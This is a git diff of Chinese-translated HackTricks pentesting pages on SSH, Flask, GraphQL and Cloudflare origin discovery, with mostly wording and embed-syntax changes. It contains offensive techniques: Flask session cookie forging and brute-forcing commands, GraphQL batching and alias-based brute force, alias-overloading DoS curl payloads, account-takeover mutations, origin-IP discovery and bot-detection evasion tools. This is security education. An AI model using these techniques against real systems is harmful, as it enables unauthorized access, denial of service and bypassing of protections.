debug1: Authentications that can continue: publickey,password,keyboard-interactive
```
例如，如果设置了身份验证失败限制，并且您从未有机会达到密码方法，您可以使用 `PreferredAuthentications` 选项强制使用此方法。
例如，如果设置了身份验证失败限制，并且您从未有机会达到密码方法，则可以使用 `PreferredAuthentications` 选项强制使用此方法。
```bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
审查SSH服务器配置是必要的，以检查仅授权预期的方法。使用客户端的详细模式可以帮助查看配置的有效性。
检查SSH服务器配置是必要的，以确保仅授权预期的方法。使用客户端的详细模式可以帮助查看配置的有效性。
### 配置文件
```bash
@ -261,17 +276,17 @@ ssh_known_hosts
known_hosts
id_rsa
```
## Fuzzing
## 模糊测试
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## References
## 参考资料
- 你可以在 [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) 找到关于如何加强 SSH 的有趣指南
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks Automatic Commands
## HackTricks 自动命令
```
Protocol_Name: SSH
Port_Number: 22

4
src/network-services-pentesting/pentesting-web/buckets/README.md
View File

@ -4,6 +4,8 @@
如果您想了解更多关于枚举和滥用 Buckets 的信息，请查看此页面：
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

4
src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
View File

@ -8,6 +8,8 @@ Firebase 是一种主要用于移动应用的后端即服务（Backend-as-a-Serv
了解更多关于 Firebase 的信息：
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

4
src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
View File

@ -15,7 +15,9 @@ cachedArchives[p].destroy()
}
})
```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
{{#ref}}
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
{{#endref}}
![](<../../../images/image (1070).png>)

18
src/network-services-pentesting/pentesting-web/flask.md
View File

@ -2,19 +2,19 @@
{{#include ../../banners/hacktricks-training.md}}
**如果你在进行CTF，Flask应用程序可能与** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**相关。**
**如果你在进行CTF，Flask应用程序可能与** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**有关。**
## Cookies
默认的cookie会话名称是**`session`**。
默认的cookie会话名称是 **`session`**。
### Decoder
在线Flask cookie解码器：[https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
在线Flask cookie解码器: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual
获取cookie的第一部分，直到第一个点，然后进行Base64解码。
获取cookie的第一部分直到第一个点，并进行Base64解码>
```bash
echo "ImhlbGxvIg" | base64 -d
```
@ -24,7 +24,9 @@ echo "ImhlbGxvIg" | base64 -d
命令行工具，通过猜测秘密密钥来获取、解码、暴力破解和制作 Flask 应用程序的会话 cookie。
{% embed url="https://pypi.org/project/flask-unsign/" %}
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
@ -46,9 +48,11 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
命令行工具，用于使用 flask-unsign 制作的 cookie 对网站进行暴力破解。
命令行工具，用于使用用flask-unsign制作的cookie对网站进行暴力破解。
{% embed url="https://github.com/Tagvi/ripsession" %}
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```

54
src/network-services-pentesting/pentesting-web/graphql.md
View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## 介绍
GraphQL 被 **强调** 为 REST API 的 **高效替代方案**，提供了一种简化的方式来从后端查询数据。与 REST 相比，REST 通常需要在不同的端点之间进行多次请求以收集数据，而 GraphQL 允许通过 **单个请求** 获取所有所需的信息。这种简化显著 **有利于开发者**，减少了他们的数据获取过程的复杂性。
GraphQL 被 **强调** 为 **REST API 的高效替代方案**，提供了一种简化的方式来从后端查询数据。与 REST 相比，REST 通常需要在不同的端点之间进行多次请求以收集数据，而 GraphQL 允许通过 **单个请求** 获取所有所需的信息。这种简化显著 **有利于开发者**，减少了他们的数据获取过程的复杂性。
## GraphQL 和安全性
随着新技术的出现，包括 GraphQL，新的安全漏洞也随之出现。一个关键点是 **GraphQL 默认不包含认证机制**。开发者有责任实施这些安全措施。没有适当的认证，GraphQL 端点可能会将敏感信息暴露给未认证的用户，构成重大安全风险。
随着包括 GraphQL 在内的新技术的出现，新的安全漏洞也随之而来。一个关键点是 **GraphQL 默认不包含身份验证机制**。开发者有责任实施这些安全措施。没有适当的身份验证，GraphQL 端点可能会向未认证的用户暴露敏感信息，构成重大安全风险。
### 目录暴力攻击和 GraphQL
@ -46,7 +45,7 @@ Graphql 通常支持 **GET**、**POST** (x-www-form-urlencoded) 和 **POST**(jso
```bash
query={__schema{types{name,fields{name}}}}
```
通过此查询，您将找到所有正在使用的类型的名称：
使用此查询，您将找到所有正在使用的类型的名称：
![](<../../images/image (1036).png>)
```bash
@ -181,11 +180,11 @@ name
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
您可以看到 "_Flags_" 对象由 **name** 和 **value** 组成。然后，您可以使用以下查询获取所有标志的名称和值：
您可以看到 "_Flags_" 对象由 **name** 和 **value** 组成。然后，您可以使用查询获取所有标志的名称和值：
```javascript
query={flags{name, value}}
```
请注意，如果**查询的对象**是像**字符串**这样的**原始****类型**，如以下示例所示
请注意，如果**查询的对象**是**原始****类型**，例如**字符串**，如以下示例所示
![](<../../images/image (958).png>)
@ -194,7 +193,7 @@ query={flags{name, value}}
query = { hiddenFlags }
```
在另一个例子中，"_Query_" 类型对象中有两个对象："_user_" 和 "_users_"。\
如果这些对象不需要任何参数进行搜索，可以**直接请求**所需的数据来**检索所有信息**。在这个互联网示例中，你可以提取保存的用户名和密码：
如果这些对象不需要任何参数进行搜索，可以通过**请求**所需的数据来**检索所有信息**。在这个互联网例子中，你可以提取保存的用户名和密码：
![](<../../images/image (880).png>)
@ -205,9 +204,9 @@ query = { hiddenFlags }
看起来它会使用类型为 _**Int**_ 的 "_**uid**_" 参数进行搜索。\
无论如何，我们已经知道，在 [Basic Enumeration](graphql.md#basic-enumeration) 部分提出了一个查询，显示了所有所需的信息：`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
如果你阅读我运行该查询时提供的图像，你会看到 "_**user**_" 有一个类型为 _Int_ 的 **arg** "_**uid**_"。
如果你阅读提供的图像，当我运行那个查询时，你会看到 "_**user**_" 有类型为 _Int_ 的 **arg** "_**uid**_"。
因此，通过一些轻量级的 _**uid**_ 暴力破解，我发现 _**uid**=**1** 时检索到了一个用户名和密码：\
因此，通过一些轻量级的 _**uid**_ 暴力破解，我发现 _**uid**=**1**_ 时检索到了一个用户名和密码：\
`query={user(uid:1){user,password}}`
![](<../../images/image (90).png>)
@ -220,7 +219,7 @@ query = { hiddenFlags }
**查询字符串转储技巧（感谢 @BinaryShadow\_）**
如果你可以通过字符串类型进行搜索，例如：`query={theusers(description: ""){username,password}}`，并且你**搜索一个空字符串**，它将**转储所有数据**。 (_注意这个例子与教程的例子无关，对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_).
如果你可以通过字符串类型进行搜索，例如：`query={theusers(description: ""){username,password}}`，并且你**搜索一个空字符串**，它将**转储所有数据**。 （_注意这个例子与教程的例子无关，对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_）。
### 搜索
@ -234,7 +233,7 @@ email
}
}
```
您可以通过**名称**搜索人员并获取他们**订阅**的**电影**：
您可以通过姓名搜索人员并获取他们订阅的电影：
```javascript
{
searchPerson(name: "John Doe") {
@ -292,7 +291,7 @@ name
在此设置中，**数据库** 包含 **人员** 和 **电影**。**人员** 通过他们的 **电子邮件** 和 **姓名** 进行识别；**电影** 通过它们的 **名称** 和 **评分** 进行识别。**人员** 可以互为朋友，并且也可以拥有电影，表示数据库中的关系。
一个 **在数据库中创建新** 电影的变更可以如下所示（在此示例中，变更被称为 `addMovie`）：
一个 **在数据库中创建新** 电影的变更可以像以下示例（在本例中，变更被称为 `addMovie`）：
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -335,12 +334,12 @@ releaseYear
```
### 指令重载
正如在[**本报告中描述的漏洞之一**](https://www.landh.tech/blog/20240304-google-hack-50000/)中所解释的，指令重载意味着调用指令甚至数百万次，以使服务器浪费操作，直到可能发生DoS攻击。
正如在[**本报告中描述的漏洞之一**](https://www.landh.tech/blog/20240304-google-hack-50000/)中所解释的，指令重载意味着调用指令即使数百万次，以使服务器浪费操作，直到可能发生DoS攻击。
### 在1个API请求中批量暴力破解
此信息来自[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)。\
通过GraphQL API进行身份验证，**同时发送多个不同凭据的查询**以进行检查。这是一种经典的暴力破解攻击，但现在由于GraphQL批量处理功能，可以在每个HTTP请求中发送多个登录/密码对。此方法会欺骗外部速率监控应用程序，使其认为一切正常，没有暴力破解机器人试图猜测密码。
通过GraphQL API进行身份验证，**同时发送多个不同凭据的查询**进行检查。这是一种经典的暴力破解攻击，但现在由于GraphQL批量处理功能，可以在每个HTTP请求中发送多个登录/密码对。此方法会欺骗外部速率监控应用程序，使其认为一切正常，没有暴力破解机器人试图猜测密码。
下面是一个应用程序身份验证请求的最简单演示，**一次有3个不同的电子邮件/密码对**。显然，可以以相同的方式在单个请求中发送数千个：
@ -354,13 +353,13 @@ releaseYear
越来越多的**graphql端点正在禁用自省**。然而，当收到意外请求时，graphql抛出的错误足以让像[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)这样的工具重建大部分架构。
此外，Burp Suite扩展[**GraphQuail**](https://github.com/forcesunseen/graphquail)扩展**观察通过Burp的GraphQL API请求**，并**构建**一个内部GraphQL **架构**，每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时，该扩展返回一个假响应。因此，GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息，[**请查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
此外，Burp Suite扩展[**GraphQuail**](https://github.com/forcesunseen/graphquail)扩展**观察通过Burp的GraphQL API请求**并**构建**一个内部GraphQL **架构**，每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时，该扩展返回一个假响应。因此，GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息，[**请查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
一个很好的**词表**可以在这里发现[**GraphQL实体**](https://github.com/Escape-Technologies/graphql-wordlist?)。
### 绕过GraphQL自省防御 <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
为了绕过API中对自省查询的限制，在`__schema`关键字后插入**特殊字符**被证明是有效的。这种方法利用了开发人员在试图通过关注`__schema`关键字来阻止自省时常见的正则表达式模式的疏忽。通过添加像**空格、换行符和逗号**这样的字符，GraphQL会忽略这些字符，但正则表达式可能没有考虑到，从而可以绕过限制。例如，在`__schema`后面带有换行符的自省查询可能会绕过这样的防御：
为了绕过API中对自省查询的限制，在`__schema`关键字后插入**特殊字符**被证明是有效的。这种方法利用了开发人员在试图通过关注`__schema`关键字来阻止自省时在正则表达式模式中的常见疏忽。通过添加像**空格、换行符和逗号**这样的字符，GraphQL会忽略这些字符，但正则表达式可能没有考虑到，从而可以绕过限制。例如，在`__schema`后面带有换行符的自省查询可能会绕过这样的防御：
```bash
# Example with newline to bypass
{
@ -398,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
```
### **发现暴露的 GraphQL 结构**
当 introspection 被禁用时，检查网站源代码中 JavaScript 库中预加载的查询是一种有用的策略。这些查询可以通过开发者工具中的 `Sources` 选项卡找到，提供有关 API 架构的见解，并揭示潜在的 **暴露敏感查询**。在开发者工具中搜索的命令是：
当 introspection 被禁用时，检查网站源代码中 JavaScript 库中预加载的查询是一种有用的策略。这些查询可以通过开发者工具中的 `Sources` 选项卡找到，提供有关 API 架构的见解，并揭示潜在的 **暴露的敏感查询**。在开发者工具中搜索的命令是：
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@ -422,13 +421,13 @@ file:* query
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
因此，由于像之前那样的 CSRF 请求是 **在没有预检请求的情况下** 发送的，因此可以 **利用** CSRF **在 GraphQL 中进行** **更改**。
因此，由于像之前那样的 CSRF 请求是 **在没有预检请求的情况下** 发送的，因此可以 **利用** **CSRF** 在 GraphQL 中 **进行** **更改**。
但是，请注意，Chrome 的 `samesite` 标志的新默认 cookie 值为 `Lax`。这意味着 cookie 仅会在 GET 请求中从第三方网站发送。
请注意，通常也可以将 **查询** **请求** 作为 **GET** **请求** 发送，并且 CSRF 令牌可能不会在 GET 请求中进行验证。
此外，利用 [**XS-Search**](../../pentesting-web/xs-search/) **攻击** 可能能够利用用户的凭据从 GraphQL 端点提取内容。
此外，利用 [**XS-Search**](../../pentesting-web/xs-search/) **攻击** 可能能够利用用户的凭据从 GraphQL 端点中提取内容。
有关更多信息 **请查看** [**原始帖子**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)。
@ -448,7 +447,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
修改查询输入变量可能导致敏感账户详细信息 [泄露](https://hackerone.com/reports/792927)。
突变甚至可能导致账户接管，试图修改其他账户数据。
变更甚至可能导致账户接管，试图修改其他账户数据。
```javascript
{
"operationName":"updateProfile",
@ -460,7 +459,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
[将查询链接](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)在一起可以绕过一个弱认证系统。
在下面的示例中，您可以看到操作是 "forgotPassword"，并且它应该只执行与之相关的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点，在这种情况下，我们添加 "register" 和一个用户变量，以便系统注册为新用户。
在下面的示例中，您可以看到操作是 "forgotPassword"，并且它应该只执行与之关联的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点，在这种情况下，我们添加 "register" 和一个用户变量，以便系统注册为新用户。
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
@ -470,7 +469,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
要详细了解 GraphQL 别名，推荐以下资源：[Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。
虽然别名的主要目的是减少多个 API 调用的必要性，但已识别出一个意外的用例，其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的，因为某些端点受到速率限制器的保护，旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而，这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询，它们可以绕过此类速率限制措施。
虽然别名的主要目的是减少大量 API 调用的必要性，但已识别出一个意外的用例，其中别名可以被用来对 GraphQL 端点执行暴力攻击。这是可能的，因为某些端点受到速率限制器的保护，旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而，这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询，它们可以绕过此类速率限制措施。
考虑下面提供的示例，它说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制，因为它将多个查询编译成一个 HTTP 请求，可能允许同时验证多个折扣代码。
```bash
@ -491,14 +490,14 @@ valid
### Alias Overloading
**Alias Overloading** 是一种 GraphQL 漏洞，攻击者通过为同一字段重载查询中的多个别名，导致后端解析器重复执行该字段。这可能会使服务器资源过载，从而导致 **Denial of Service (DoS)**。例如，在下面的查询中，同一字段 (`expensiveField`) 被请求了 1,000 次，使用别名强迫后端计算 1,000 次，可能会耗尽 CPU 或内存：
**Alias Overloading** 是一种 GraphQL 漏洞，攻击者通过为同一字段重载查询，使用多个别名，导致后端解析器重复执行该字段。这可能会使服务器资源过载，从而导致 **Denial of Service (DoS)**。例如，在下面的查询中，同一字段（`expensiveField`）使用别名请求了 1,000 次，迫使后端计算 1,000 次，可能会耗尽 CPU 或内存：
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
为了减轻这个问题，实施别名计数限制、查询复杂性分析或速率限制，以防止资源滥用。
为了减轻这个问题，实施别名计数限制、查询复杂性分析或速率限制以防止资源滥用。
### **基于数组的查询批处理**
@ -559,7 +558,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): 也可以作为CLI客户端使用以自动化攻击
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 列出在GraphQL模式中**到达特定类型的不同方式**的工具。
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL的独立和CLI模式的继任者
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级GraphQL测试的Burp扩展。_**扫描器**_是InQL v5.0的核心，您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更，并将其组织成结构化视图以供分析。_**攻击者**_组件允许您运行批量GraphQL攻击，这对于规避实现不佳的速率限制非常有用。
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级GraphQL测试的Burp扩展。_**扫描器**_是InQL v5.0的核心，您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更，并将其组织成结构化视图以供分析。_**攻击者**_组件允许您运行批量GraphQL攻击，这对于规避实现不良的速率限制非常有用。
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 尝试通过使用一些Graphql数据库的帮助，即使在禁用自省的情况下也获取模式，这些数据库将建议变更和参数的名称。
### 客户端
@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
### 自动测试
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
{{#ref}}
https://graphql-dashboard.herokuapp.com/
{{#endref}}
- 解释AutoGraphQL的视频: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
{{#include ../../banners/hacktricks-training.md}}

42
src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
View File

@ -4,24 +4,24 @@
## Common Techniques to Uncover Cloudflare
- 你可以使用一些服务来获取域名的 **历史 DNS 记录**。也许网页运行在之前使用的 IP 地址上。
- 你可以使用一些服务来获取域名的 **历史 DNS 记录**。也许网页运行在之前使用过的 IP 地址上。
- 同样可以通过 **检查历史 SSL 证书** 来实现，这些证书可能指向原始 IP 地址。
- 还要检查 **指向 IP 的其他子域的 DNS 记录**，因为其他子域可能指向同一服务器（可能提供 FTP、邮件或其他服务）。
- 还要检查 **其他子域名的 DNS 记录，直接指向 IP**，因为其他子域名可能指向同一服务器（可能提供 FTP、邮件或其他服务）。
- 如果你在 **网络应用程序中发现 SSRF**，你可以利用它来获取服务器的 IP 地址。
- 在浏览器中搜索网页的唯一字符串，例如 shodan（也许还有 google 和类似的？）。也许你可以找到带有该内容的 IP 地址。
- 以类似的方式，除了寻找唯一字符串外，你还可以使用工具搜索 favicon 图标：[https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) 或 [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
- 以类似的方式，除了寻找唯一字符串外，你还可以使用工具搜索 favicon 图标：[https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) 或 [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)。
- 这并不总是有效，因为服务器必须在通过 IP 地址访问时发送相同的响应，但你永远不知道。
## Tools to uncover Cloudflare
- 在 [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) 或 [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) 中搜索域名。或者使用工具 [CloudPeler](https://github.com/zidansec/CloudPeler)（它使用该 API）
- 在 [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) 中搜索域名
- 在 [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) 或 [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) 中搜索域名。或者使用工具 [CloudPeler](https://github.com/zidansec/CloudPeler)（它使用该 API）。
- 在 [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) 中搜索域名。
- [**CloudFlair**](https://github.com/christophetd/CloudFlair) 是一个工具，它将使用包含域名的 Censys 证书进行搜索，然后在这些证书中搜索 IPv4，最后尝试访问这些 IP 的网页。
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r)：CloakQuest3r 是一个强大的 Python 工具，精心制作以揭示被 Cloudflare 和其他替代方案保护的网站的真实 IP 地址，这是一个广泛采用的网络安全和性能增强服务。其核心使命是准确识别隐藏在 Cloudflare 保护屏障后面的 Web 服务器的实际 IP 地址。
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r)：CloakQuest3r 是一个强大的 Python 工具，精心制作以揭示被 Cloudflare 和其他替代方案保护的网站的真实 IP 地址，这是一个广泛采用的网络安全和性能增强服务。其核心任务是准确识别隐藏在 Cloudflare 保护屏障后面的 Web 服务器的实际 IP 地址。
- [Censys](https://search.censys.io/)
- [Shodan](https://shodan.io/)
- [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
- 如果你有一组潜在的网页所在的 IP，你可以使用 [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
- 如果你有一组潜在的 IP 地址，网页可能位于这些地址上，你可以使用 [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)。
```bash
# You can check if the tool is working with
prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
@ -41,7 +41,9 @@ done
有关此过程的更好描述，请查看：
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
```bash
# Find open ports
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
@ -59,20 +61,20 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
### 认证源拉取
该机制依赖于 **client** [**SSL certificates**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **来验证连接**，连接在 **Cloudflare 的反向代理** 服务器和 **源** 服务器之间，这被称为 **mTLS**。
该机制依赖于 **client** [**SSL 证书**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **来验证连接**，连接在 **Cloudflare 的反向代理** 服务器和 **源** 服务器之间，这被称为 **mTLS**。
客户可以简单地使用 Cloudflare 的证书来允许来自 Cloudflare 的任何连接，**无论租户如何**。
> [!CAUTION]
> 因此，攻击者可以仅仅设置一个 **使用 Cloudflare 的证书的域名并将其指向** **受害者** 域名的 **IP** 地址。这样，设置他的域名完全不受保护，Cloudflare 不会保护发送的请求。
更多信息 [**这里**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)。
更多信息 [**在这里**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)。
### 允许列表 Cloudflare IP 地址
这将 **拒绝不来自 Cloudflare 的** IP 地址范围的连接。这也容易受到之前设置的攻击，攻击者只需 **将自己的域名指向 Cloudflare** 的 **受害者 IP** 地址并进行攻击。
更多信息 [**这里**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)。
更多信息 [**在这里**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)。
## 绕过 Cloudflare 进行抓取
@ -91,7 +93,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
### Cloudflare 解算器
已经开发了许多 Cloudflare 解算器：
已经开发了多种 Cloudflare 解算器：
- [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr)
- [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [指南在这里](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/)
@ -105,32 +107,32 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
使用一个不会被检测为自动化浏览器的无头浏览器（你可能需要为此进行定制）。一些选项包括：
- **Puppeteer:** [stealth plugin](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) 用于 [puppeteer](https://github.com/puppeteer/puppeteer)。
- **Playwright:** [stealth plugin](https://www.npmjs.com/package/playwright-stealth) 很快将加入 Playwright。请关注 [这里](https://github.com/berstend/puppeteer-extra/issues/454) 和 [这里](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra) 的进展。
- **Puppeteer:** [stealth 插件](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) 用于 [puppeteer](https://github.com/puppeteer/puppeteer)。
- **Playwright:** [stealth 插件](https://www.npmjs.com/package/playwright-stealth) 很快将加入 Playwright。请关注 [这里](https://github.com/berstend/puppeteer-extra/issues/454) 和 [这里](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra) 的进展。
- **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) 是一个优化的 Selenium Chromedriver 补丁。
### 带有 Cloudflare 内置绕过的智能代理 <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
